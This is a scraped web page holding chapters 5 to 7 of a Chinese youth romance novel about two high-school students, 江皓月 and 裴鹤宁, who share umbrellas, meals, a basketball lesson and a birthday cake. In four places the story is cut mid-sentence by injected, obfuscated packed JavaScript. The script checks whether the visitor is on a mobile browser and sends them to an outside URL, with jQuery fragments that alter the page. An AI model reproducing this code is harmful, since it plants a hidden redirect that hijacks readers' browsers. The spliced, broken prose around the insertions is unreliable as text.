现在都八点多了,他怎么会一个人坐在这里呀? 他的爸爸妈妈都不在家吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16234513|181810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ? “那你买了三明治为什么不吃?看起来好好吃。” “不想吃。” 江皓月长睫毛忽闪:“我知道了,我一个人的时候也不想吃东西,如果没人陪我吃饭,我就宁可不吃了。” 她是这样的人,做什么都需要有人一起,孤单是太难熬的事,所以理所当然地认为,没有人会喜欢孤单。 她把购物袋放到排椅上:“说不定我陪你吃,你就想吃了,小时候,我是我们小区吃饭最香的小孩儿,谁家小孩儿不吃饭,就往我们家送,看我吃饭。” “要不,你也试试?” 裴鹤宁抬眸,想说不必,却见她眉眼弯弯、瞳孔清透发亮。 拒绝的话还没有说出口,江皓月已经跑进便利店。 没多会儿,她又跑回来,手里拿着一个饭团,抿了抿唇有些抱歉道:“我吃晚饭了,所以只能陪你吃这点儿了。” 裴鹤宁的声音不自觉放轻了些:“不要勉强。” 江皓月摇头:“这个肉松饭团超级好吃,还有芝士流心,我都想了一个星期了!” 她拆开塑封,在饭团上结结实实咬了一口,脸颊鼓起的下一秒,已经餍足地眯起眼睛。 她吃东西真的如她所说,很香、很满足。 一边吃,还要用眼角余光悄悄打量他:“你现在有一点想吃东西了吗?” 没有。 但迎上江皓月满怀期待的目光,他“嗯”了声。 裴鹤宁拿起自己面前的三明治,拆开包装,细长手指在月光下冷白发透,有种玉石的质地。 江皓月吃完饭团,双手撑在身体两边:“下次一个人不想吃东西叫我,我陪你。” 过了会儿。 脸上突然有湿润、微凉的触感。 江皓月伸出手,雨滴落在掌心。 裴鹤宁的三明治吃完最后一口,连同她的饭团包装袋,一起扔进垃圾桶。 他站在她面前,撑开伞,伞身倾斜,两人一个站着一个坐着,都在伞下。 “时间不早了,回家吧,”他低声,“带伞了吗?” 江皓月点头,神秘兮兮道:“我给你变个魔术吧?” 裴鹤宁自始至终安静。 江皓月站起身,伞下两人之间的距离有一瞬间缩短,柠檬香气萦绕。 她拿出自己的雨伞,撑开、举高,与他的伞平齐:“裴鹤宁,你看!” 那一瞬,裴鹤宁看到的是,月亮在她身后,她的眼睛在闪光。 他顺着她闪光的眼睛,仰起头,呼吸一滞。 深蓝夜幕下,两只小鲸鱼相遇了。 江皓月用自己的雨伞碰了碰他的雨伞。 裴鹤宁开口,语气很轻:“这是做什么?” 江皓月得意:“两只小鲸鱼初次见面,打招呼呀。我的小鲸鱼在说见到你很高兴。” 裴鹤宁的嘴角轻轻弯起,梨涡浅浅浮现。 江皓月第一次看到他笑,看得心跳砰砰,她当然知道他生得漂亮,没想到笑起来的样子才是绝色,原本冷淡锐利的五官都变柔和了,真的好温柔。 而他目光微垂:“为什么要买一样的。” 因为每次下雨的时候,大家的伞五颜六色,三五个凑成一堆。 只有你是自己一个人。 “因为全校只有一把鲸鱼雨伞,你的小鲸鱼看起来有点孤单。” 江皓月很认真地看着他的眼睛,月光落在她仍显稚气的脸庞,眉眼柔软得不像话: “所以我买一把一样的,这样以后下雨天,两只小鲸鱼就可以一起游泳啦!” 5. 第 05 章 “梁蜚,他和我说‘别怕’诶!”——仓颉《玻璃糖纸》 - 阴沉沉的雨天,两只小鲸鱼相遇了。 一只沉默寡言,另外一只喋喋不休。 不知道为什么,喋喋不休的那只突然噤声。 片刻的安静,竟然让裴鹤宁有些不太习惯。 他垂下目光,看向身侧。 江皓月不动声色往他身后躲,紧张兮兮、全身戒备的模样。 他顺着她的视线看去。 陌生男人迎面走来,手里牵着一只金毛,从她旁边经过。 她的呼吸似乎都屏住,全身紧绷着,直到狗狗走远才松了口气。 “怕狗?” 江皓月知道金毛是很温顺的,但童年阴影无法忽视:“小时候去姥姥家,摸小狗的时候被咬了一口。” 她问:“你是不是喜欢小狗呀?” 裴鹤宁:“不喜欢。” 江皓月疑惑:“但你的头像是小狗呀,德牧幼崽。” 少年嗓音冷冽,从头顶落下:“我就喜欢那一只。” 那个瞬间,江皓月竟然有些羡慕裴鹤宁的小狗。 他的小狗一定很幸福吧?被他全心全意地喜欢着。 它都不用担心他会有其他小狗,因为他不喜欢小狗,就只是喜欢它。 他对小狗都这样专一了,等长大以后,对喜欢的人呢? 是不是也是,我只喜欢她一个? 江皓月这样想东想西,一不留神就走到回家的岔路口。 她叫住裴鹤宁:“你帮我拿一下伞。” 裴鹤宁照做,江皓月打开自己的购物袋,大大方方给他展示:“你看看,里面有没有你喜欢吃的?” 天真烂漫的神情,像囤了很多粮的小松鼠,现在欢欢喜喜地把自己的粮捧出来,和另外一只小松鼠分享。 “这个蛋卷好吃,那个蛋糕也好吃,还有橘子流心巧克力我也买了……” 裴鹤宁轻声:“我不吃甜食。” 江皓月翻出最喜欢的柠檬糖递给他:“吃甜的心情好,你试试看嘛。” 她的尾音很轻,透着女孩子的娇憨可爱,还带着让人心软的诚恳。 裴鹤宁接过,低声道谢。 路灯昏黄,他水墨一样的瞳孔,也浸润了一层柔和的光,垂着长睫毛看人的时候,有种少年人干干净净的温柔。 她挥挥手跟他道别:“我回家啦,拜拜!” 江皓月哼着歌到家,把零食放到冰箱,之后洗澡换睡衣。 等她舒舒服服躺在床上拿起手机,微信那里已经出现小红点,提示裴鹤宁通过她的好友申请。 江皓月在床上打了个滚。 点击修改备注的时候却犯了难。 于是一条消息发过去:【裴鹤宁!】 过了会儿,对面回了个【嗯】字。 江皓月忍不住想象他面无表情看着手机的模样。 小蘑菇:【你的生日是哪天呀?蘑菇探头.jpg】 男生没有半句废话:【为什么问这个】 江皓月截图联系人列表给他看。 她给好友的备注,都是“名字+生日”,这样就不会忘记了。 朋友生日的时候,她会送自己烤的蛋糕,她喜欢做漂亮点心,也喜欢朋友因为她的点心开心。 裴鹤宁:【11月17号】 小蘑菇:【好!我备注好啦!】 那他就是天蝎座了。 江皓月搜索—— 天蝎座和哪个星座最般配? 手机页面跳转,显示:巨蟹座。 江皓月“呀”了一声,脸埋进枕头里,开心得在床上乱扑腾。 她是夏至出生的巨蟹座。 天蝎和巨蟹般配,具体一点,就是裴鹤宁和她般配! 只是他这朵高岭之花,恐怕是长在冰山上的高岭之花。 不知道什么时候,他才能心甘情愿,被她摘下…… - 周末转瞬即逝,江皓月在画室待了两天。 周一早上,何嘉豪发来信息:【感冒请了两天假,你去食堂吃饭跑快点,要不没座。】 小蘑菇:【你吃药了吗?】 欢乐哥:【吃了,没什么事儿。】 平时吃饭都是何嘉豪占座,江皓月只需要端着餐盘,在各个窗口搜罗好吃的。 今天需要她自力更生了。 没想到到校之后,同桌梁蜚的位置也空着。 江皓月问看早读的班主任:“老师,梁蜚是有什么事吗?” 班主任说:“昨天给我打了个电话,说家里有事请几天假。” 江皓月蹙眉,难道也感冒啦? 上学搭子不在,她做什么都没劲。 于她而言,一个人去做操是酷刑,一个人去食堂也是酷刑。 没有何嘉豪占座,她端着餐盘找了半天才找到一个空位置。 没想到屁股还没挨到凳子,旁边女生提醒:“这里有人了。” 果然,桌上有一张学生卡。 刚好角落空出一张四人桌,江皓月赶紧走过去。 没吃几口,几个陌生男生大大咧咧在她旁边、对面坐下。 江皓月尴尬得不行,埋头快速扒了几口饭,就回了教室。 有了中午的教训,江皓月晚饭没去食堂,准备晚自习下课回家吃夜宵。 教室里空了,她百无聊赖,在速写本上涂涂画画—— 一只红色带白色波点的小蘑菇,被饿成薄薄一片,无精打采,头晕眼花。 她自娱自乐,拍照发朋友圈,配文:【饿成蘑菇干啦!】 欢乐哥:【没占到位置?】 小蘑菇:【你没来,梁蜚也没来,自己一个人不想去吃饭。】 欢乐哥:【你这个没人陪就吃不下饭的毛病什么时候能改啊?】 小蘑菇:【╰_╯】 手机反扣在桌子上。 江皓月从小就很怕孤单。 因为自己怕孤单,所以就见不得别人孤单。 何嘉豪刚搬来的时候,院子里的小朋友都不和他玩,她就要跟他玩。 军训时宿舍里的女生彼此认识,梁蜚落单的时候,她就不想她自己一个人。 还有,看到一片黑压压的雨伞里,只有一只小鲸鱼的时候,她就想再有一只小鲸鱼陪着它。 江皓月无精打采趴在座位上,饿得扁扁的。 脑袋里,开始浮现妈妈做的红烧排骨和爸爸炖的酸菜鱼…… 手机震动。 估计又是何嘉豪发来的嘲笑。 江皓月枕着手臂,把手机翻面。 亮起的屏幕显示:【裴鹤宁发来一条消息。】 她霎时坐得笔直,点开那条未读消息。 【我在你们班门口】 江皓月赶紧起身,腿不小心磕到桌角,超级疼。 可是,痛感在看到他的那一秒消失得干干净净。 裴鹤宁等在走廊窗边,高高的个子,眼神和肤色透着冷,不言不语时疏离感很重,好像只有低低垂着的睫毛、和不带笑的嘴角是柔软的。 他把手里的纸袋递给她:“给。” 江皓月不明所以,但是乖乖照做,拆开纸袋看了眼。 温热的食物香气扑鼻,她惊喜地抬头,眼睛里像是有盏灯,“啪”地一下被人按亮了。 “是饭团和热牛奶!” 裴鹤宁低声:“可以吗。” 那天在便利店,他见她吃过饭团。 江皓月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16234514|181810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼睛亮闪闪:“你买的我都喜欢吃!” 后知后觉过于直白,又干巴巴找补:“我不挑食嘛。” 裴鹤宁:“那我回教室了。” 江皓月把纸袋抱在怀里:“谢谢你呀!我超级喜欢这个饭团的!” 裴鹤宁覆着霜雪的脸淡漠如常:“不用,不是请我吃糖了。” 江皓月在朋友圈发了一朵饿扁的小蘑菇之后,又有了后续—— 小蘑菇饿得头晕眼花,遇到一只高冷的小鲸鱼。 小鲸鱼看起来一副不太爱理蘑菇的样子,但是他用后背给小蘑菇驮来饭团、热牛奶…… 小蘑菇得到能量补给,重新变成系着披风的超级蘑菇侠,双手叉腰,昂头挺胸。 裴鹤宁的嘴角轻轻一弯。 旁边同学拿着习题册凑过来,他收起手机,放回书包。 因要留意辛巴的消息,他没有把手机交给裴建勋保管。 “笑什么呢?” “没。” “帮忙看看这道题。” “嗯。” - 晚自习第三节课,班主任把班里的特长生叫到办公室,开了个会。 他讲了历年来美术生、体育生的文化课分数线,强调在校时间一定要抓好文化课学习。 江皓月时不时瞄一眼墙上的钟表。 马上就要放学了,老师怎么还没说完呢? “江皓月,尤其是你,美术成绩全市第一,可别让文化课拖了后腿,考最好的美院,文化课不能低于550,那数学最低也得保证100吧?” 江皓月原本还满心期待放学,被老师一句话给说蔫了:“谢谢老师提醒,我知道了。” 放学铃声响起。 走廊里全是人,一班门口,不见每天背红色书包、眉眼弯弯等在那里的女生。 一班班长倚着门框朝里喊:“最后走的别锁门啊,特长生被叫去开会了,还没回来!” 回家的公交车缓缓驶来,车灯亮起,照亮垃圾桶旁边的狗狗。 通体黑色的流浪狗,一旦有人靠近,嘴里就发出低低的吼声。 裴鹤宁脚步顿住。 同学喊他:“裴鹤宁,你不上车啊?” 裴鹤宁往学校的方向看了眼,低声:“你们先走。” 江皓月收拾好书包后锁上教室的门,下楼的时候,大半个教学楼已经熄了灯。 从校门口到公交车站牌,还有一段距离,附中不在闹市,这个点路上已经没有什么人。 今天没有何嘉豪一起,江皓月有点害怕,走路飞快,看到公交车站牌后,忍不住小跑了几步。 眼看就要到了,一声低吼猝不及防穿过耳膜,她毫无防备被吓得呼吸骤停,呆在原地。 借着路灯,她看清发出低吼的是什么—— 流浪狗朝着她起身,耳朵竖立,身体前倾。 小时候那只狗狗扑上来咬她之前,就是这样的…… 江皓月掌心潮湿,鼻尖渗出冷汗,僵在那里不敢动,更不敢跑。 “不要看它。” 少年冷冽清澈的嗓音,从头顶落下。 快被吓哭的江皓月回头,蓦然对上一双明亮澄净的瞳孔。 她皱着脸,可怜兮兮控诉:“裴鹤宁,它要咬我!” 他放轻的语气,带着安抚意味:“我不会让它咬你的。” 裴鹤宁走到她的身前,隔开狗狗注视着她的不善目光。 十六岁的年纪,他仍是清瘦少年骨架,但身高优越、肩膀平直宽阔。 站在身侧的时候,安全感很足。 “好了,现在它看不到你了。” 少年低头,长而浓密的睫毛轻轻覆着,如水月色里,冰冷声线好像也被浸得温柔:“别怕。” 6. 第 06 章 “梁蜚,他教我打球了诶!”——仓颉《玻璃糖纸》 - “好了,现在它看不到你了。” “别怕。” 他说话的声音很轻,是少年人独有的干净清冽,因他语气低而缓和,江皓月有种被他哄着的错觉。 她忘记狗狗还在不远处虎视眈眈,躲在他的身侧,整个人好像变成冰激凌,正在无可救药地融化掉。 公交车由远及近,裴鹤宁喊她:“走吧。” 晚班车上,不少都是刚下班的上班族。 后排只剩一个座位,裴鹤宁让她坐下。 “那把你书包给我吧,我抱着。” 江皓月并不觉得她是女生,就应该被让着,所以有些不好意思。 裴鹤宁垂眸,女孩子坐得规规矩矩,脑袋本来就圆、短发发型又将这种特点发挥到极致。 “不用。” 江皓月忽然慢半拍地反应过来,裴鹤宁平时不坐这趟车,他坐的那趟末班车已经开走了。 直到这会儿,她才想起来问一句:“你今天怎么也走这么晚?” 车内不算安静,裴鹤宁没听清。 他一手抓着扶手,微微倾身靠近她这一侧,薄而清晰的唇形,问:“什么?” 距离拉进,不给任何心理准备,不至冒犯,可也让他身上清冽的香气氤氲开来,像是青柠和薄荷,从她的角度看去,少年下颌是一道俊秀的弧度,脖颈皮肤很白,没入校服领口。 心跳失序,从这样的角度看他,简直要命。 江皓月忍着过快的心跳,又问一遍。 裴鹤宁睫毛低垂,瞳孔浸了水般一片清透的温和:“写数学没注意时间。” 江皓月点头:“原来是这样啊。” 她由衷感叹:“好厉害啊,做题竟然能不注意时间,我写个作业得看八百次表,觉得时间怎么那么慢。” 转瞬,她又想起今天班主任说数学必须过百的事情,圆脸皱起,愁苦万分:“数学真的好难,你有没有遇到过算半天、但选项里根本没有自己答案的情况?” 裴鹤宁:“有。” 江皓月找到共鸣,雀跃道:“是吧是吧!我就知道不是我一个人这样!” “嗯,”裴鹤宁不知道她为什么突然兴奋,如实说道:“题也有错的时候。” 江皓月一口气差点上不来。 对不起,是她自取其辱了。 灯光明明暗暗。 江皓月侧头去看车窗,假装在看夜景。 少年修长利落的一道身形,映在车窗,他垂着眼,不知道在想什么,轮廓英俊清秀。 画笔能勾勒出他浓黑长眉、挺直鼻梁,但勾勒不出他身上清澈宁静的少年气。 她一直都很不喜欢数学的。 但是今天,她决定短暂地喜欢一下。 因为如果不是数学题,她今天就遇不到这么温柔的裴鹤宁了。 - 翌日,周二。 江皓月睁开眼睛,浑身抗拒,她盯着天花板想: 今天还要一个人上学,一个人吃饭,一个人做课间操……下午有体育课,她竟然还要一个人去上体育课! 虽然她人缘不错,跟谁都能聊两句,但大家都有自己的小伙伴、小圈子,她不想掺和进去。 脑袋埋进枕头,她像沙滩上搁浅的小鱼乱扑腾着,最后只能安慰自己:体育课跟重点班一起,能看到裴鹤宁呢! 这才把自己哄起来上学。 第四节课下课后,同学们都去了食堂。 江皓月咬了一口自己带的面包,只觉得干巴巴,叹口气把牛奶的吸管插上。 好想吃食堂的菠萝咕咾肉哇,配着大米饭,香喷喷。 她决定给自己搞一点精神食粮分散注意力,于是,左手拿着面包,嘴里咬着吸管,右手在速写本上勾勒草稿—— 被恶犬恐吓的小蘑菇,吓得哆哆嗦嗦。 这时出现一只小鲸鱼,他有漂亮的背鳍和优雅的身形,挡在小蘑菇和恶犬中间,温柔地对小蘑菇说:别怕。 裴鹤宁不喜欢人挤人,不喜欢别人碰到自己,不喜欢闻到别人身上的气味,所以大多数时候,他会错开高峰期去食堂。 他路过时,隔壁一班后门开着,正好能看见中间一排的女孩子,趴在课桌上写写画画。 ——我一个人的时候也不想吃东西。 ——如果没人陪我吃饭,我就宁可不吃了。 裴鹤宁原本已经走到楼梯口,又折返,叫住教室里落单的蘑菇头:“江皓月。” 被喊到名字,江皓月蓦地抬头,刚咬了一大口面包,嘴巴鼓鼓的,模样有些呆。 “去食堂吗。”裴鹤宁不带情绪地问。 “嗯?”江皓月愣了下,反应过来后点头如小鸡啄米:“嗯!嗯嗯嗯!” 这个点,吃饭的大部队已经离开,空桌子随处可见。 江皓月端着餐盘,在裴鹤宁对面坐下,嘴角弧度难得腼腆:“谢谢你叫我一起吃饭,要不然我只能啃干巴巴的面包了。” 裴鹤宁应声:“没事。” 江皓月吃上了心心念念的菠萝咕咾肉和大米饭,内心忍不住感叹还是热饭热菜好吃。 她把青红椒都挑到一边,一口一口,细嚼慢咽,不经意间抬头发现,自己餐盘里还堆着不少米饭,而裴鹤宁都快吃完了。 她赶紧加快速度,一边闷头扒饭,一边瞄对面裴鹤宁的餐盘还剩多少,瞄完再低头,继续大口吃、努力吃。 裴鹤宁不喜欢等人。 偶尔一次,她和他、还有何嘉豪一张桌子吃饭,他先吃完,会说“我先走了”,似乎不愿意在别人身上浪费一点时间。 “慢慢吃。” 嘴里塞得鼓鼓的、嘴巴闭得紧紧的江皓月,抬头对上裴鹤宁看过来的视线。 男生目光清淡,随口说了句:“我等你。” 江皓月刚才因怕被丢下而七上八下的心脏,瞬间落入温柔的怀抱,变得软绵绵。 有没有一种可能,高冷都是表象,他其实是个很温柔的人呢? 他会在她哭的时候把电话递给她。 会在雨天把伞送给收摊的老奶奶。 会在狗狗出现的时候把她挡在身后。 会在发现她落单的时候叫她一起吃饭。 会看穿她的着急和不安,告诉她“慢慢吃,我等你”。 但江皓月自私地希望,这样温柔的裴鹤宁,只有她能看到。 - 下午第三节是体育课,按照兴趣分组,喜欢篮球的一组、喜欢排球的一组、喜欢乒乓球的一组。 江皓月当时毫不犹豫地选了篮球。 她脑袋里,主管画画的区域被开发到极致,主管运动的区域则是一片荒芜,运动神经天生匮乏,测试个八百米都要提前好几个星期恐慌。 至于篮球,就更没接触过——她有时候偷懒,想往垃圾桶投个垃圾都投不中,哪有本事把篮球扔到那么远、那么高的篮筐里呢。 她个子又不高,一米六冒点头。 之所以选篮球,不过是因为,裴鹤宁选了篮球。 她们是隔壁班,除此之外没有一起上课的机会。 她想离他近一点。 体育老师吹哨集合。 裴鹤宁个子高,站在男生队伍后排,江皓月个子矮,排在女生队伍前列。 “上节课我们学习了定点投篮,我先检查一下大家的学习成果,现在排好队,一个一个来。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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江皓月仰起脑袋,眉心皱着嘴唇抿着,猝不及防对上裴鹤宁的垂下的视线。 她心跳一滞,低下头,嚣张气焰荡然无存,想把自己藏起来。 “不打了?”男生问。 江皓月垂头丧气破罐子破摔:“不打了,打不了,个子矮,脑子笨。” 说完之后,半晌没听到回音,她仰起脑袋。 却见裴鹤宁的眼尾倏然弯起,忍俊不禁的弧度。 江皓月看呆了。 好好一个高岭之花,怎么会长一双这么漂亮勾人的眼睛啊! 笑起来的时候,眼尾弯弯的、睫毛长长的、双眼皮褶皱特别深、瞳孔像有流光一闪一闪…… 这些也还能拼命抵抗一下,偏偏他嘴角还有个梨涡,超级、无敌、让人心动! 但是! 现在是笑的时候吗? 江皓月气鼓鼓的,还委屈:“你怎么也笑话我!” “没,”少年清亮眼底,笑意转瞬即逝,“起来。” 江皓月:“干嘛?” 篮球场上吵吵闹闹,只有她自己坐在这里,像一朵安静无害的蘑菇,眼睛看向球场时,嘴角弯着,眼神里分明有羡慕。 江皓月委屈巴巴等裴鹤宁的下文。 男生蓬松柔软的黑发下,眉眼天生漆黑锐利,可瞳孔深处,像有温和平静的湖水静静流淌。 他看着她,放缓了语调,轻轻说了句:“我把你教会,下次和她们一起玩。” 7. 第 07 章 “梁蜚,他要过生日了诶!”——仓颉《玻璃糖纸》 - 这场景很像小时候,江皓月在小区公园捡到自己蹲着画圈圈的何嘉豪。 六七岁的小蘑菇头蹲下来,问他你是谁家小孩,叫什么名字,怎么一个人在这儿,又叫他起身,跟大家认识,一起玩玩具、做游戏。 裴鹤宁喊同学扔了个篮球过来。 体育课上了这么久,江皓月都没见裴鹤宁打过,何嘉豪说他爱干净,洗不了澡的时候,从来不肯上场。 所以他总是干干净净的、还香香的,校服上带着阳光晒过的洗衣液味道。 “站近一点,不用一开始就站在线外。” 江皓月找了个感觉有把握的位置:“这里可以吗?” 裴鹤宁点头:“手肘往上顶,压腕。” 江皓月茫然:“怎么压?” 他给她演示,照顾她的身高,并没有把球举得很高,方便她看清。 可江皓月看到的是,少年腕骨精致,手指修长而筋骨清秀,手背皮肤在阳光下白得好似透明,怎么看,都应该是斯斯文文画画的手,不带半点粗犷气。 可发力时,那白皙手臂上的青筋也显出几分少见的暴戾,肌肉线条劲瘦流畅。 这让江皓月很难专心。 而他毫无察觉,教得认真且一心一意:“出手要直着往前。” 江皓月慢半拍不止地去看球。 他恐怕是不知道自己生了一张多蛊惑人心的漂亮脸蛋,才敢随随便便对女孩子说“我教你”。 球从他的手里出去,轻而易举进入篮筐,动作利落,弧线完美,她忍不住感叹:“好厉害啊……” “你来。”裴鹤宁站到篮筐旁边。 江皓月不笨,任何一个能在某一领域做到极致的,都不可能是笨蛋。只不过她在画画以外的事情上,玩心很重,又懒,吃不得一点儿苦。 她照着裴鹤宁教她的动作要点把球推出去,几次尝试之后,篮球似乎没那么重了,她慢慢调整自己的发力位置,越来越像那么回事儿。 裴鹤宁在篮筐下给她接球,球一拍,反弹回去,再到她的手里。 下课铃声响起的时候,江皓月手里的球最后一次投出去,球砸在篮筐边缘,她屏住呼吸,心脏似乎也跟着球在高空转圈…… 球转了半圈,落到篮筐外面,心脏也跟着重重坠地,江皓月嘴角下撇,怎么能一个球都不进呢? 下个瞬间,坠落半空的篮球被修长白皙的手接起,随着男生的起跳动作,篮球被扣进篮筐,成为她投进去的第一个球。 江皓月的眼睛漾出惊喜的光:“哇!” 她跑到裴鹤宁身边,很孩子气地问:“算我的还是算你的?” 她额头出了汗,刘海胡乱捋到一边,露出光洁的额头,眉眼没有遮挡,笑意灿然,晃人眼睛。 目光相对,裴鹤宁眼底似乎也有微微笑意。 他轻扬眉:“算你的。” - 日子不再是前一天的复制粘贴,江皓月用来计数时间的,也不再是日历上的简单数字。 她创建了一个账号,用来上传小蘑菇和小鲸鱼的漫画。 第一话,是高冷的小鲸鱼把电话让给想家哭鼻子的小蘑菇。 最新一话,是篮球课—— 被人嘲笑的小蘑菇用上全身力气,都没有把篮球用脑袋顶到篮筐。 在她气馁时,小鲸鱼一跃而起,将篮球送入篮筐,身形利落至极。 她不在意有没有人看,只是想要记录心情。 进入十一月之后,江皓月上传了戴着小皇冠的小鲸鱼——裴鹤宁的生日就要来了。 “梁蜚,他要过生日了诶,你说我送什么好呢?” 梁蜚停下手里的笔:“哪天?” “这周六,”江皓月下巴抵在课桌上,圆脸圆脑袋,“要不我做个蛋糕送给他吧,他喜欢的话就吃,不喜欢可以分给家人朋友。” 说干就干,她立刻翻开速写本,在本子上画蛋糕的图样。 裴鹤宁说过不喜欢吃甜食,既然这样,那就咸奶油加抹茶?还是柠檬加香草杏子酱呢? 那一整个星期,江皓月前后左右的同学,每天都有不同口味的蛋糕吃,她的绰号从“打水侠”变成“蛋糕侠”。 当然,何嘉豪也没有被落下,他喜欢吃甜,江皓月给他分的最多。 何嘉豪在早读结束后,美滋滋从书包拿出蛋糕盒子,蛋糕的香气一散开,几个同学立马跟看到猎物的鬣狗一样扑上来。 “起来起来,”何嘉豪咬着叉子,把蛋糕举高,“我发小给我做的,你要想吃找你发小去!” “你发小?就一班那个巨可爱的蘑菇头?” “蘑菇头是你叫的?” 男生凑到何嘉豪身边:“她有男朋友没啊?” 何嘉豪看着江皓月长大,时常觉得自己身上担着亲哥的重任:“滚滚滚,她还小呢!” 男生不依不饶的:“推我个微信呗!等我俩成了你就是我大舅哥!” 裴鹤宁抬眼,情绪很淡:“班主任来了。” 男生“嗖”地一下蹿回自己位置,板板正正坐好。 等他抬头一看。 班主任? 哪儿呢? 裴鹤宁这是怎么了? 学习学累了、拿他开涮? - 周五晚上,江皓月趴在床上给裴鹤宁发微信。 【你明天做什么?】 【去图书馆上自习】 啊…… 生日都不好好玩玩吗? 对自己要求也太严格了。 【一整天都自习?】 【下午有其他事情】 江皓月毫不气馁:【那晚上呢?】 裴鹤宁似乎察觉到什么,问她:【找我有事】 过生日应该是很忙的吧?要和家里人吃饭,要一起庆祝,要收很多礼物,要被很多很多的爱包围。 江皓月去年生日是在迪士尼,前年生日是在海边,大前年是在熊猫基地……总之,没有一年是简单敷衍吃个蛋糕完事儿的。 她理所当然觉得,裴鹤宁家应该也是这样的,他那么优秀那么拔尖,他的爸爸妈妈一定也是把他当宝贝的。 不想打扰他和家人在一起的时间,也不愿给人添麻烦,她只说:【你能不能留一点时间给我?五分钟就可以。】 裴鹤宁没问做什么,就回了个“嗯”。 【那我们在便利店门口见面?】 【好】 周六上午,江皓月去画室上专业课。 中午回家吃过午饭之后,她开始打发蛋白、烤蛋糕胚。 这些对她来说都很简单,难的是她设计了一个巨漂亮又巨繁琐的图样。 在她的图样里,小鲸鱼有海洋,有鲜花,有晴朗的天气和蛋黄一样的太阳,还在角落的位置画了一朵不起眼的笑眯眯的小蘑菇。 她希望他生活在海洋里,生活在阳光下,永远被鲜花簇拥,拥有这世界上的一切好东西。 江皓月买了小蘑菇立体插件,但是鲸鱼、花朵需要她调不同颜色的奶油,一笔一笔画出来。 昨天熬夜给病人做手术的妈妈,今天难得休息,问她:“又有朋友要过生日了?” “嗯!” “这次是谁呀?” “是欢乐哥他们班的,叫裴鹤宁,等下次家长会我偷偷指给你看,他长得可好看了。” 江皓月小心翼翼给蛋糕裱花,没有注意到妈妈眼底一晃而过的情绪,只听到妈妈说:“我女儿怎么这么善良、这么可爱啊!” 江皓月“嘿嘿”一笑,用撒娇的语气甜甜回应:“因为我随妈妈呢!” 市公安局警犬基地。 “哟,小寿星来了。”谭将明等在门口,那架势比他接待领导的时候还认真。 裴鹤宁笑:“谭叔叔。” 谭将明把手里的盒子递给他:“给。” 裴鹤宁垂眸:“您还知道这个。” 谭将明没结婚,没孩子,哪懂现在的高中生喜欢什么,只说:“同事家儿子考试考好了就要这个游戏机,我就照葫芦画瓢给你买了一个。” 他把手臂往裴鹤宁肩膀上一搭:“走,带你看辛巴去。” 裴鹤宁第一次见辛巴的时候,它才一岁,现在它已经八岁,相当于人类的五十岁。 黑黄相间的德牧,威风凛凛的功勋犬,看到他时目光没有半分攻击性,那眼神分明是在看自己老朋友的孩子。 它在他身边急得团团转,仿佛在问:你妈妈呢?我怎么这么久没有见她? 裴鹤宁心脏酸软,只是轻轻揉了揉辛巴的脑袋,在心里说:我也很想她。 “裴局还是反对你领养?” 谭将明虽是母亲大学师兄,但对父亲一直是官场上的称呼,裴鹤宁知道,他不是客套,而是打心眼里看不上裴建勋。 “我想再劝劝他试试。”他低声说。 裴鹤宁按下家门密码,密码锁应声而开后,映入眼帘的是一双陌生的粉色平底鞋。 他面色冰冷,关门的动作很重,故意让人听见。 裴建勋从厨房里出来,身上系着围裙:“今天你生日,我做了几个菜。” 裴鹤宁应该开心的,开心父子关系缓和,开心或许还有领养辛巴的机会,如果没有陌生女人从厨房里端着饭菜出来的话。 “正式介绍一下,这是你张阿姨。” 裴鹤宁一言不发。 眼前晃过每次采访,爸爸在镜头前说,每天抱着妈妈的遗照才能睡着。 他突然觉得恶心,恶心透顶,恶心到礼貌修养全部作废。 裴建勋笑着解下围裙,柔声对身旁的女人说:“张敏,你去厨房看看我炖的排骨。” 等厨房的门带上之后,他压低声音:“裴鹤宁,你凭什么用这种眼神看我,我不能一辈子守着你妈的遗照吧?我又没有出轨!” “人血馒头吃撑了,想换口味了是吗?”裴鹤宁眼神像冰, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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裴鹤宁看向她的袖口:“你衣服上还沾着面粉。” 江皓月用手拍了拍:“我还以为你能认出我的画呢!” 裴鹤宁目光清澈安静,温声问:“你有没有想要的东西,我也送给你。” 江皓月不解:“你过生日为什么要给我送东西呀?” 裴鹤宁:“因为你送给我蛋糕了。” 江皓月想了想,好像有点明白裴鹤宁的意思了。 她缓缓开口:“因为我送你糖,所以你送我晚饭。因为我陪你吃饭,所以你去食堂的时候叫我一起。现在我送你蛋糕,你就要送我礼物。” 她看向他,那双总是元气满满漾着光的眼睛,一点点黯淡下去:“是因为想要和我划清界限,所以一点都不想欠我的,是吗?” 